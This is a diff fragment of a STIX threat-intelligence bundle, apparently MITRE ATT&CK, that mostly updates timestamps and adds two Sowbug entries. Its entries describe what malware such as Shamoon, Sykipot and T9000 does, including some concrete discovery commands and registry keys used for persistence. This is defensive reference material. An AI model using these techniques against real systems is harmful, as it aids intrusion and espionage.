             "id": "relationship--ed94edc7-e687-409e-9143-20a15190bd83",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon uses HTTP for C2.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51715,7 +61523,7 @@
             "id": "relationship--5bb39b9d-3651-4cdf-80b1-9d88b2062258",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon has used TCP port 8080 for C2.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51736,7 +61544,7 @@
             "id": "relationship--272068a3-47e3-42d6-8772-71d39c1976c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon obtains the victim's operating system version and keyboard layout and sends the information to the C2 server.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51757,7 +61565,7 @@
             "id": "relationship--3ded5760-4f2e-41f5-a2c5-f2b39eaf5733",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon can download an executable to run on the victim.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51778,7 +61586,7 @@
             "id": "relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon obtains the system time and will only activate if it is greater than a preset date.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51799,7 +61607,7 @@
             "id": "relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon queries several Registry keys to identify hard disk partitions to overwrite.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51820,7 +61628,7 @@
             "id": "relationship--f76355cb-9aa5-403c-aae4-8faed799ac31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Skeleton Key is used to patch an enterprise domain controller authentication process with a backdoor password. It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller.",
             "source_ref": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49",
@@ -51841,7 +61649,7 @@
             "id": "relationship--8d4effdd-6d91-473d-aa81-d121f1c77881",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
@@ -51862,7 +61670,7 @@
             "id": "relationship--fbfc610a-5355-40fc-b5a1-059e89a1eb8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM sends information to its hard-coded C2, including OS version, service pack information, processor speed, system name, and OS install date.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
@@ -51883,7 +61691,7 @@
             "id": "relationship--0df8e968-716a-4de9-9669-862af62d6eb6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM sends the logged-on username to its hard-coded C2.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
@@ -51904,7 +61712,7 @@
             "id": "relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "To establish persistence, SslMM identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
@@ -51925,7 +61733,7 @@
             "id": "relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM has a hard-coded primary and backup C2 string.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
@@ -51946,7 +61754,7 @@
             "id": "relationship--babaa2be-7c41-490a-bd0b-2cf140858244",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM identifies and kills anti-malware processes.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
@@ -51967,7 +61775,7 @@
             "id": "relationship--79ecf1f6-a17d-4374-a84c-811669e39261",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "To establish persistence, SslMM identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
@@ -51988,7 +61796,7 @@
             "id": "relationship--c5cf4822-a0bf-442a-9943-1937ac45520b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "To establish persistence, SslMM identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
@@ -52009,7 +61817,7 @@
             "id": "relationship--93d83b03-8367-4655-84a5-9abaee885700",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM contains a feature to manipulate process privileges and tokens.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
@@ -52025,12 +61833,54 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--90e64a7a-42e6-4b95-ae85-5ac324d7f6e2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.",
+            "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--283bdd5f-f356-43a2-864c-6f8211073d45",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "decrypts and executes shellcode from a file called Stars.jps.",
+            "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
+            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--5576c38e-6b03-4ea9-8936-60eeddb749a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
@@ -52051,7 +61901,7 @@
             "id": "relationship--1b4ee147-dc39-43d2-b468-fcd308e6cbae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx uses rundll32 to call an exported function.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
@@ -52072,7 +61922,7 @@
             "id": "relationship--ee51d531-5cc4-4836-a55c-6062bde1a4d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
@@ -52093,7 +61943,7 @@
             "id": "relationship--69bff194-c90e-4e30-a369-57da4cff014d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to modify the Registry.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
@@ -52114,7 +61964,7 @@
             "id": "relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to enumerate processes.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
@@ -52135,7 +61985,7 @@
             "id": "relationship--788ca56e-1194-4c5f-a12b-72678390f1ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to enumerate system information.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
@@ -52156,7 +62006,7 @@
             "id": "relationship--c8b0afbb-12eb-4b45-a1e1-b11755de2976",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to enumerate drive types.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
@@ -52177,7 +62027,7 @@
             "id": "relationship--df7fb8f2-e7a6-4342-8d67-09655ceefead",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to scan for security tools such as firewalls and antivirus tools.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
@@ -52198,7 +62048,7 @@
             "id": "relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to remotely execute commands.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
@@ -52219,7 +62069,7 @@
             "id": "relationship--10c33088-630e-456d-ad0f-8a63be4d3946",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot communicates using HTTPS and uses a custom encryption cipher to encrypt the HTTPS message body.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52240,7 +62090,7 @@
             "id": "relationship--c1421d39-cb5d-4bac-a931-9c641066c0fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot has been known to establish persistence by adding programs to the Run Registry key.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52261,7 +62111,7 @@
             "id": "relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52282,7 +62132,7 @@
             "id": "relationship--7a30e6e7-ed64-47b1-b368-c1cec96d5fbf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot contains keylogging functionality to steal passwords.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52303,7 +62153,7 @@
             "id": "relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52324,7 +62174,7 @@
             "id": "relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may gather a list of running processes by running <code>tasklist /v</code>.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52345,7 +62195,7 @@
             "id": "relationship--9b203f00-34db-475f-a28b-f5088d937f4e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may use <code>ipconfig /all</code> to gather system network configuration details.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52366,7 +62216,7 @@
             "id": "relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may use <code>netstat -ano</code> to display active network connections.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52387,7 +62237,7 @@
             "id": "relationship--09c10778-19ad-441a-8a75-a3cf1288f960",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may use <code>net start</code> to display running services.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52408,7 +62258,7 @@
             "id": "relationship--7fe49f05-8f96-4fc2-bc5b-b2eea59efca3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may use <code>net view /domain</code> to display hostnames of available systems on a network.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52429,7 +62279,7 @@
             "id": "relationship--2eb985a1-e73e-4554-8638-2e6f27690ec0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may use <code>net group \"domain admins\" /domain</code> to display accounts in the \"domain admins\" permissions group and <code>net localgroup \"administrators\"</code> to list local system administrator group membership.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
@@ -52450,7 +62300,7 @@
             "id": "relationship--19c33297-1efd-4489-b09c-a4230ce194f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 uses an XOR 0x1 loop to encrypt its C2 domain.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
@@ -52471,7 +62321,7 @@
             "id": "relationship--550bf43e-53da-467e-affd-9f44ad668508",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 collects the computer name, OS versioning information, and OS install date and sends the information to the C2.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
@@ -52492,7 +62342,7 @@
             "id": "relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 collects the account name of the logged-in user and sends it to the C2.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
@@ -52513,7 +62363,7 @@
             "id": "relationship--2cfa6113-1995-494a-b767-61d3f371e0ea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 collects the group name of the logged-in user and sends it to the C2.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
@@ -52534,7 +62384,7 @@
             "id": "relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 collects the local IP address of the victim and sends it to the C2.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
@@ -52555,7 +62405,7 @@
             "id": "relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 uses HTTP for C2.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
@@ -52576,7 +62426,7 @@
             "id": "relationship--c088f23e-b741-453c-a710-01990dead853",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Systeminfo can be used to gather information about the operating system.",
             "source_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
@@ -52597,7 +62447,7 @@
             "id": "relationship--3d16b34f-f58b-4469-a0ef-7585f88d6001",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If a victim meets certain criteria, T9000 uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs \u2013 %APPDATA%\\Intel\\ResN32.dll</code> and <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs \u2013 0x1</code>.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52618,7 +62468,7 @@
             "id": "relationship--74e84133-f84a-469a-bfd7-1a514af2f15e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 performs checks for various antivirus and security products during installation.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52639,7 +62489,7 @@
             "id": "relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "During the T9000 installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52660,7 +62510,7 @@
             "id": "relationship--487d67d7-b697-4de4-abde-decee8b17c44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 gathers and beacons the operating system build number and CPU Architecture (32-bit/64-bit) during installation.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52681,7 +62531,7 @@
             "id": "relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 gathers and beacons the MAC and IP addresses during installation.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52702,7 +62552,7 @@
             "id": "relationship--a6150e37-2411-409f-82a0-e259d55d1166",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52723,7 +62573,7 @@
             "id": "relationship--842f8f4b-9d90-4533-850f-777f33ef8257",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 uses the Skype API to record audio and video calls. It writes encrypted data to <code>%APPDATA%\\Intel\\Skype</code>.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52744,7 +62594,7 @@
             "id": "relationship--ea93ff11-939f-449a-a222-4273d9fc9f3c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 searches through connected drives for removable storage devices.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
@@ -52765,7 +62615,7 @@
             "id": "relationship--11bc3d01-fc44-415c-b5a3-5576f5cb6057",
